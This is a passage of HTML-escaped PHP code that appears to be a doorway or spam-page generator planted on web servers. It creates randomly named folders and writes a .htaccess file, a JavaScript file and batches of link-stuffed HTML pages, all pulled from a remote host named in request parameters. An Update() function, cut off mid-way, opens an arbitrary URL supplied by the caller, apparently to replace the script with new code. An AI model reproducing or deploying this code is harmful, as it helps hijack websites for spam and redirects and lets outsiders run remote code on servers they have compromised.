&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $tname = trim($fconf[0]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $i_dor = trim($fconf[1]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $i_dor = $i_dor+0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; else <br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fconf = fopen(&quot;c&quot;, &quot;w+&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $rnd = mt_rand(0, 999);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $nm = &quot;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for ($i=0; $i&lt;5; $i++)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $ran = mt_rand(0,26);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sym = $alp[$ran];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $nm = $nm.$sym;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $tname = $nm;<br />
&nbsp; &nbsp; &nbsp; &nbsp; mkdir($tname);<br />
&nbsp; &nbsp; &nbsp; &nbsp; fwrite($fconf, $tname.&quot;\n&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; fwrite($fconf, &quot;0\n&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $pid = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fht = fopen(&quot;$tname/.htaccess&quot;, &quot;w+&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $htname = $sg.&quot;2.txt&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fp = fopen($htname, &quot;r&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fin = '';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (!feof($fp))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $fc = fgets($fp, 1024);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if (!$fc) break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $fin .= $fc;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fclose($fp);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwrite($fht, $fin);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fclose($fht); <br />
<br />
<br />
$fht = fopen(&quot;$tname/2.js&quot;, &quot;w+&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $htname = $sg.&quot;2js.txt&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fp = fopen($htname, &quot;r&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fin = '';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (!feof($fp))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $fc = fgets($fp, 1024);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if (!$fc) break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $fin .= $fc;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fclose($fp);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwrite($fht, $fin);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fclose($fht); <br />
<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $f1t = fopen(&quot;1t&quot;, &quot;w+&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $f1tname = $sg.&quot;1t.php&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fp = fopen($f1tname, &quot;r&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fin = '';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (!feof($fp))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $fc = fgets($fp, 1024);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if (!$fc) break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $fin .= $fc;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fclose($fp);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwrite($f1t, $fin);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fclose($f1t); <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; $i_dor++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $i_dor--;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $a1t = file(&quot;1t&quot;);<br />
&nbsp; &nbsp; $gname = $sg.&quot;sgen2.php&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; for ($j=$pid; $j&lt;$pid+10; $j++)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $cth = trim($a1t[$i_dor]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $i_dor++;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fc = &quot;&quot;; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fp = fopen($gname.&quot;?th=$cth&quot;, &quot;r&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fin = '';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (!feof($fp))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $fc = fgets($fp, 1024);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if (!$fc) break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $fin .= $fc;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fclose($fp);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $links =&quot;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for ($y=0; $y&lt;30; $y++)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $ry = mt_rand(0,199);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $rth = trim($a1t[$ry]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $links .= &quot;&lt;a href='$rth.htm'&gt;$rth&lt;/a&gt; \n&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fin = ereg_replace(&quot;&lt;LINKS2&gt;&quot;, $links, $fin);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $curs = $cth;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fnd = fopen(&quot;$tname/$curs&quot;.&quot;.htm&quot;, &quot;w+&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwrite($fnd, $fin);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fclose($fnd);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($md)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwrite($fr, &quot;$tname/$curs&quot;.&quot;.htm\n&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; $fconf = fopen(&quot;c&quot;, &quot;w+&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; fwrite($fconf, $tname.&quot;\n&quot;.$i_dor.&quot;\n&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; fclose($fconf);<br />
}<br />
<br />
function Gen()<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $alp = &quot;abcdefghiklmnjsweqrtyuiopzx&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $maps = array();<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (isset($_POST[&quot;sg&quot;]))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sg = $_POST[&quot;sg&quot;];<br />
<br />
&nbsp; if (isset($_GET[&quot;sg&quot;]))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sg = $_GET[&quot;sg&quot;]; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; if (isset($_POST[&quot;gm&quot;]))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $g = $_POST[&quot;gm&quot;];<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (isset($_GET[&quot;gm&quot;]))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $g = $_GET[&quot;gm&quot;];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; $path = &quot;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $fr = fopen(&quot;1r.txt&quot;, &quot;a+&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (file_exists(&quot;c&quot;))<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fconf = file(&quot;c&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $tname = trim($fconf[0]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $cname = trim($fconf[1]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $curs = trim($fconf[2]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $pid = trim($fconf[3]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ($pid == 100)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $pid = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $rnd = mt_rand(0, 999);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $nm = &quot;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for ($i=0; $i&lt;3; $i++)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $ran = mt_rand(0,26);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sym = $alp[$ran];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $nm = $nm.$sym;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $cname = $nm;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mkdir(&quot;$tname/$cname&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $curs = $g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; else <br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $rnd = mt_rand(0, 999);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $nm = &quot;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for ($i=0; $i&lt;5; $i++)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $ran = mt_rand(0,26);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sym = $alp[$ran];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $nm = $nm.$sym;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $tname = $nm;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $pid = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $curs = $g;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mkdir($tname);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fht = fopen(&quot;$tname/.htaccess&quot;, &quot;w+&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $htname = $sg.&quot;2.txt&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fp = fopen($htname, &quot;r&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fin = '';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (!feof($fp))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $fc = fgets($fp, 1024);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if (!$fc) break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $fin .= $fc;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fclose($fp);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwrite($fht, $fin);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fclose($fht);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $rnd = mt_rand(0, 999);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $nm = &quot;&quot;;<br />
&nbsp; &nbsp; for ($i=0; $i&lt;3; $i++)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $ran = mt_rand(0,26);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sym = $alp[$ran];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $nm = $nm.$sym;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $cname = $nm;<br />
&nbsp; &nbsp; &nbsp; &nbsp; mkdir(&quot;$tname/$cname&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; $gname = $sg.&quot;sgen.php&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; for ($j=$pid; $j&lt;$pid+10; $j++)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fp = fopen($gname.&quot;?g=$curs&quot;, &quot;r&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fin = '';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (!feof($fp))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $fc = fgets($fp, 1024);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if (!$fc) break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $fin .= $fc;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fclose($fp);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fnd = fopen(&quot;$tname/$cname/$curs&quot;.&quot;_$j.htm&quot;, &quot;w+&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwrite($fnd, $fin);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fclose($fnd);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; if ($j==100)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fp = fopen($gname.&quot;?g=$curs&amp;m=1&quot;, &quot;r&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fin = '';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (!feof($fp))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $fc = fgets($fp, 1024);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if (!$fc) break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $fin .= $fc;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fclose($fp);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fnd = fopen(&quot;$tname/$cname/$curs&quot;.&quot;_lm.htm&quot;, &quot;w+&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwrite($fnd, $fin);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fclose($fnd);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $map = &quot;$path/$tname/$cname/$curs&quot;.&quot;_lm.htm&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwrite($fr,&quot;$map\n&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; $fconf = fopen(&quot;c&quot;, &quot;w+&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; fwrite($fconf, $tname.&quot;\n&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; fwrite($fconf, $cname.&quot;\n&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; fwrite($fconf, $curs.&quot;\n&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; $nj = $j;<br />
&nbsp; &nbsp; &nbsp; &nbsp; fwrite($fconf, $nj.&quot;\n&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; fclose($fconf);<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
}<br />
<br />
function Update()<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (isset($_GET[&quot;name&quot;]))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sname = $_GET[&quot;name&quot;];<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $thisname = &quot;$sname.php&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (isset($_POST['u']))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $u = $_POST['u'];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; if (isset($_GET['u']))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $u = $_GET['u'];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
&nbsp; &nbsp; &nbsp; &nbsp;  $fp = fopen($u, &quot;r&quot;);<br />
&nbsp; $fin = '';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (!feof($fp))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $fc = fgets($fp, 1024);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if (!$fc) break;<br />
